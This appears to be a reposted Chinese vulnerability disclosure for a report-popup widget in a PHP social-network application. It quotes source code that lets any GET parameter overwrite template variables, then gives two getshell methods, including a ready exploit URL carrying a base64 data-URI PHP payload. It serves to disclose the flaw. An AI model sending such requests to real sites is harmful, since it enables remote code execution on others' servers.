来源:未知 时间:2015-04-15 13:43 作者:xxadmin 阅读:次
[导读] 漏洞 点出现在DenounceWidget.class.php里: \addons\widget\DenouceWidget\DenouceWidget.class.php:23 /** * 举报弹框 * @return string 弹窗页面HTML */public function index(){ // 获取相关数据 $var = $this-getVar(); $content...
漏洞点出现在DenounceWidget.class.php里:
/** * 举报弹框 * @return string 弹窗页面HTML */ public function index() { // 获取相关数据 $var = $this->getVar(); $content = $this->renderFile(dirname(__FILE__)."/index.html",$var); return $content; }
/** * 格式化模板变量 * @return array 被举报的信息 */ public function getVar(){ if(empty($_GET['aid']) || empty($_GET['fuid']) || empty($_GET['type'])){ return false; } foreach($_GET as $k=>$v){ $var[$k] = t($v); } $var['uid'] = $GLOBALS['ts']['mid']; empty($var['app']) && $var['app'] = 'public'; $var['source'] = model('Source')->getSourceInfo($var['type'],$var['aid'],false,$var['app']); return $var; }
/** * 渲染模板输出 供render方法内部调用 * @access public * @param string $templateFile 模板文件 * @param mixed $var 模板变量 * @param string $charset 模板编码 * @return string */ protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') { $var['ts'] = $GLOBALS['ts']; if (! file_exists_case ( $templateFile )) { // 自动定位模板文件 // $name = substr ( get_class ( $this ), 0, - 6 ); // $filename = empty ( $templateFile ) ? $name : $templateFile; // $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' ); // if (! file_exists_case ( $templateFile )) throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' ); } $template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' ); $content = fetch($templateFile,$var,$charset); return $content; }
两种getshell的方法,一种是include包含webshell的图片,一种是使用filter /index.php?app=widget&mod=Denouce&act=index&aid=1&fuid=1&type=ztz&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D
解决方案:加强过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com